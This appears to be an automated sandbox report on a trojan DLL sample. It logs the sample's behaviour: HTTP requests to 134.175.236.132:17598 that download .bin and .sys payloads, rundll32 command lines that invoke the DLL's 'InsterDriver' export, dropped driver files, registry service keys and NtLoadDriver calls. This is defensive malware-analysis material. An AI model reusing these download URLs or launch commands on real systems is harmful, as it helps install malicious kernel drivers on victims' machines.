Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6E09F851 InternetReadFile,

3_2_6E09F851

Source: global traffic	HTTP traffic detected: GET /xz?mz=Pml.bin HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=Pml.bin HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=PmlHousPro.sys HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=PmlHousPro.sys HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=PmlHousProMax.sys HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=PmlHousProMax.sys HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=Pml.bin HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=PmlHousPro.sys HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=PmlHousProMax.sys HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache

Source: rundll32.exe, 00000003.00000002.2082938982.0000000000964000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2039142851.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.1
Source: rundll32.exe, 00000004.00000002.2054642510.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132/
Source: rundll32.exe, 00000006.00000002.2125120908.00000000006B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:1
Source: rundll32.exe, rundll32.exe, 00000003.00000002.2083353565.000000006E093000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000003.00000002.2082938982.000000000090A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2055035167.000000006E093000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2054642510.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2125120908.000000000065A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2125541075.000000006E093000.00000002.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll	String found in binary or memory: http://134.175.236.132:17598/xz?mz=Pml.bin
Source: rundll32.exe, 00000006.00000002.2125120908.000000000065A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=Pml.binA
Source: rundll32.exe, 00000003.00000002.2082938982.000000000090A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2125120908.000000000065A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=Pml.binLocal
Source: rundll32.exe, 00000003.00000002.2083353565.000000006E093000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2055035167.000000006E093000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2125541075.000000006E093000.00000002.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll	String found in binary or memory: http://134.175.236.132:17598/xz?mz=Pml.binhttp://134.175.236.132:17598/xz?mz=PmlHousPro.sys
Source: rundll32.exe, 00000006.00000002.2125120908.000000000065A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=Pml.binit
Source: rundll32.exe, 00000006.00000002.2125120908.00000000006B2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2125541075.000000006E093000.00000002.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousPro.sys
Source: rundll32.exe, 00000004.00000002.2054642510.0000000000724000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2125120908.0000000000699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousPro.sys$
Source: rundll32.exe, 00000006.00000002.2125120908.0000000000699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousPro.sysB
Source: rundll32.exe, 00000006.00000002.2125120908.00000000006B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousPro.sysD
Source: rundll32.exe, 00000006.00000002.2125120908.0000000000699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousPro.sysH
Source: rundll32.exe, 00000003.00000002.2082938982.000000000094D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousPro.sysP
Source: rundll32.exe, 00000003.00000002.2082938982.0000000000964000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2039142851.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousPro.sysn
Source: rundll32.exe, 00000003.00000002.2082938982.000000000094D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousPro.syss
Source: rundll32.exe, 00000004.00000002.2054642510.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousPro.sys~
Source: rundll32.exe, 00000004.00000002.2054642510.0000000000716000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2055035167.000000006E093000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2054642510.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2125120908.000000000065A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2125120908.00000000006B2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2125541075.000000006E093000.00000002.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousProMax.sys
Source: rundll32.exe, 00000003.00000003.2039142851.000000000095E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.2082938982.000000000094D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousProMax.sys0ad
Source: rundll32.exe, 00000006.00000002.2125120908.00000000006B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousProMax.sys8)
Source: rundll32.exe, 00000004.00000002.2054642510.0000000000716000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousProMax.sys;
Source: rundll32.exe, 00000003.00000003.2039142851.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousProMax.sysDvT
Source: rundll32.exe, 00000003.00000003.2039142851.000000000095E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.2082938982.000000000094D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousProMax.sysHa
Source: rundll32.exe, 00000003.00000003.2039142851.000000000095E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.2082938982.000000000094D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousProMax.sysX
Source: rundll32.exe, 00000006.00000002.2125120908.00000000006B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:17598/xz?mz=PmlHousProMax.sysk
Source: rundll32.exe, 00000003.00000002.2082938982.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:1HvP
Source: rundll32.exe, 00000006.00000002.2125120908.00000000006B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.175.236.132:1p8
Source: xz[1]0.3.dr, xz[1].3.dr, xz[1]1.3.dr, xz[2]1.4.dr, 1340820F.sys.4.dr, 7ECA49D7.sys.6.dr, 1341015D.sys.3.dr, xz[2]0.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: xz[1]0.3.dr, xz[1].3.dr, xz[1]1.3.dr, xz[2]1.4.dr, 1340820F.sys.4.dr, 7ECA49D7.sys.6.dr, 1341015D.sys.3.dr, xz[2]0.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: xz[1]0.3.dr, xz[1].3.dr, xz[1]1.3.dr, xz[2]1.4.dr, 1340820F.sys.4.dr, 7ECA49D7.sys.6.dr, 1341015D.sys.3.dr, xz[2]0.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: xz[1].3.dr, xz[2]0.4.dr	String found in binary or memory: http://ccsca2021.crl.certum.pl/ccsca2021.crl0s
Source: xz[1].3.dr, xz[2]0.4.dr	String found in binary or memory: http://ccsca2021.ocsp-certum.com05
Source: xz[1].3.dr, xz[2]0.4.dr	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: xz[1].3.dr, xz[2]0.4.dr	String found in binary or memory: http://crl.certum.pl/ctnca2.crl0l
Source: xz[1]0.3.dr, xz[1].3.dr, xz[1]1.3.dr, xz[2]1.4.dr, 1340820F.sys.4.dr, 7ECA49D7.sys.6.dr, 1341015D.sys.3.dr, xz[2]0.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: xz[1]0.3.dr, xz[1].3.dr, xz[1]1.3.dr, xz[2]1.4.dr, 1340820F.sys.4.dr, 7ECA49D7.sys.6.dr, 1341015D.sys.3.dr, xz[2]0.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: xz[1]0.3.dr, xz[1].3.dr, xz[1]1.3.dr, xz[2]1.4.dr, 1340820F.sys.4.dr, 7ECA49D7.sys.6.dr, 1341015D.sys.3.dr, xz[2]0.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: xz[1]0.3.dr, xz[1].3.dr, xz[1]1.3.dr, xz[2]1.4.dr, 1340820F.sys.4.dr, 7ECA49D7.sys.6.dr, 1341015D.sys.3.dr, xz[2]0.4.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: xz[1]0.3.dr, xz[1].3.dr, xz[1]1.3.dr, xz[2]1.4.dr, 1340820F.sys.4.dr, 7ECA49D7.sys.6.dr, 1341015D.sys.3.dr, xz[2]0.4.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: xz[1]0.3.dr, xz[1].3.dr, xz[1]1.3.dr, xz[2]1.4.dr, 1340820F.sys.4.dr, 7ECA49D7.sys.6.dr, 1341015D.sys.3.dr, xz[2]0.4.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: xz[1].3.dr, xz[2]0.4.dr	String found in binary or memory: http://repository.certum.pl/ccsca2021.cer0
Source: xz[1].3.dr, xz[2]0.4.dr	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: xz[1].3.dr, xz[2]0.4.dr	String found in binary or memory: http://repository.certum.pl/ctnca2.cer09
Source: xz[1].3.dr, xz[2]0.4.dr	String found in binary or memory: http://subca.ocsp-certum.com01
Source: xz[1].3.dr, xz[2]0.4.dr	String found in binary or memory: http://subca.ocsp-certum.com02
Source: xz[1].3.dr, xz[2]0.4.dr	String found in binary or memory: http://www.certum.pl/CPS0
Source: xz[1].3.dr, xz[2]0.4.dr	String found in binary or memory: https://www.certum.pl/CPS0

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09793A NtLoadDriver,	3_2_6E09793A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09D686 NtQuerySystemInformation,	3_2_6E09D686
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E098887 NtQuerySystemInformation,	3_2_6E098887
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09791B NtLoadDriver,	3_2_6E09791B

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6E09793A NtLoadDriver,

3_2_6E09793A

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Users\user\AppData\Local\Temp\1341015D.sys

Source: C:\Windows\SysWOW64\rundll32.exe

Process token adjusted: Load Driver

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: String function: 6E095950 appears 33 times

Source: C:\Windows\SysWOW64\rundll32.exe

Driver loaded: \Registry\Machine\System\CurrentControlSet\Services\1341001C

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior

Source: SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: classification engine

Classification label: mal96.troj.evad.winDLL@10/13@0/1

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6E09C55F AdjustTokenPrivileges,

3_2_6E09C55F

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\xz[1]

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4332:120:WilError_03

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Users\user\AppData\Local\Temp\1341026E.bin

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll,InsterDriver

Source: SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll

Virustotal: Detection: 23%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll,InsterDriver
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll",InsterDriver
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll,InsterDriver	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll",InsterDriver	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll",#1	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Sample is not signed and drops a device driver

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH

Source: SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: xz[2]0.4.dr	Static PE information: real checksum: 0x24130 should be: 0x2390b
Source: SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll	Static PE information: real checksum: 0x0 should be: 0x18441
Source: xz[1].3.dr	Static PE information: real checksum: 0x24130 should be: 0x2390b

Source: SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll	Static PE information: section name: .Pml0
Source: 1341015D.sys.3.dr	Static PE information: section name: .VSK0
Source: xz[1].3.dr	Static PE information: section name: .VSK0
Source: xz[1]0.3.dr	Static PE information: section name: .VSK0
Source: xz[1]1.3.dr	Static PE information: section name: .VSK0
Source: 1340820F.sys.4.dr	Static PE information: section name: .VSK0
Source: xz[2]0.4.dr	Static PE information: section name: .VSK0
Source: xz[2]1.4.dr	Static PE information: section name: .VSK0
Source: 7ECA49D7.sys.6.dr	Static PE information: section name: .VSK0

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E0996E4 push dword ptr [esp+28h]; retn 002Ch	3_2_6E099708
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09870B push dword ptr [esp+40h]; retn 0044h	3_2_6E09D99B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09EC45 push 17D028D3h; mov dword ptr [esp], eax	3_2_6E09ECAF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09EDA1 push dword ptr [esp+50h]; retn 0054h	3_2_6E09EDF7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09B252 push dword ptr [esp+24h]; retn 0028h	3_2_6E09C6EA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09CA54 push dword ptr [esp+48h]; retn 004Ch	3_2_6E09BD3C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09CA54 push dword ptr [esp+50h]; retn 0054h	3_2_6E09DB02
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E0958B1 pushfd ; mov dword ptr [esp], eax	3_2_6E09A11D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09793A pushfd ; mov dword ptr [esp], 6E09CC17h	3_2_6E09DCE3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09518F push ABF4F956h; mov dword ptr [esp], edx	3_2_6E09523F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09CE09 push dword ptr [esp+30h]; retn 0034h	3_2_6E09CE3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09A60B push dword ptr [esp+04h]; retn 0008h	3_2_6E09A61B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09B60F push 41910BC5h; mov dword ptr [esp], ecx	3_2_6E09BB8D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E091E04 push dword ptr [esp+20h]; retn 0024h	3_2_6E096D41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09EE06 push dword ptr [esp+44h]; retn 0048h	3_2_6E09EE30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E098E1F push dword ptr [esp+4Ch]; retn 0050h	3_2_6E09AA8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E096E1E push dword ptr [esp+50h]; retn 0054h	3_2_6E096E4B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E099E17 push dword ptr [esp+44h]; retn 0048h	3_2_6E098F09
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E099E17 push dword ptr [esp+3Ch]; retn 0040h	3_2_6E09D595
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09D616 push dword ptr [esp+24h]; retn 0028h	3_2_6E09B29C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09862D push dword ptr [esp+0Ch]; retn 0010h	3_2_6E098644
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09762E push dword ptr [esp+28h]; retn 0060h	3_2_6E0991C2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09B623 push 41910BC5h; mov dword ptr [esp], ecx	3_2_6E09BB8D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E096E1E push dword ptr [esp+50h]; retn 0054h	3_2_6E096E4B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E097E3D push dword ptr [esp+28h]; retn 002Ch	3_2_6E097E49
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E099633 push dword ptr [esp+28h]; retn 002Ch	3_2_6E09964B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09964E push dword ptr [esp+2Ch]; retn 0030h	3_2_6E09C8CF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E091E45 push EE29E32Dh; mov dword ptr [esp], eax	3_2_6E091F36
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09E644 push dword ptr [esp+50h]; retn 0054h	3_2_6E09E657
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09665B push dword ptr [esp+38h]; retn 003Ch	3_2_6E096676
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E09C65B push dword ptr [esp+04h]; retn 0008h	3_2_6E09C683

Source: 1341015D.sys.3.dr	Static PE information: section name: .VSK0 entropy: 7.851203078487253
Source: xz[1].3.dr	Static PE information: section name: .VSK0 entropy: 7.851203078487253
Source: xz[1]0.3.dr	Static PE information: section name: .VSK0 entropy: 7.851203078487253
Source: xz[1]1.3.dr	Static PE information: section name: .VSK0 entropy: 7.851203078487253
Source: 1340820F.sys.4.dr	Static PE information: section name: .VSK0 entropy: 7.851203078487253
Source: xz[2]0.4.dr	Static PE information: section name: .VSK0 entropy: 7.851203078487253
Source: xz[2]1.4.dr	Static PE information: section name: .VSK0 entropy: 7.851203078487253
Source: 7ECA49D7.sys.6.dr	Static PE information: section name: .VSK0 entropy: 7.851203078487253

Persistence and Installation Behavior

Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\1341015D.sys	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\1341015D.sys	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\1340820F.sys	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\1340820F.sys	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\7ECA49D7.sys	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\7ECA49D7.sys	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\7ECA49D7.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\xz[1]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\xz[2]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\xz[1]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\xz[2]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\xz[1]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\1340820F.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\1341015D.sys	Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\xz[1]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\xz[1]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\xz[1]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\xz[2]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\xz[2]	Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\1341001C

Uses known network protocols on non-standard ports

Hooking and other Techniques for Hiding and Protection

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49707

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
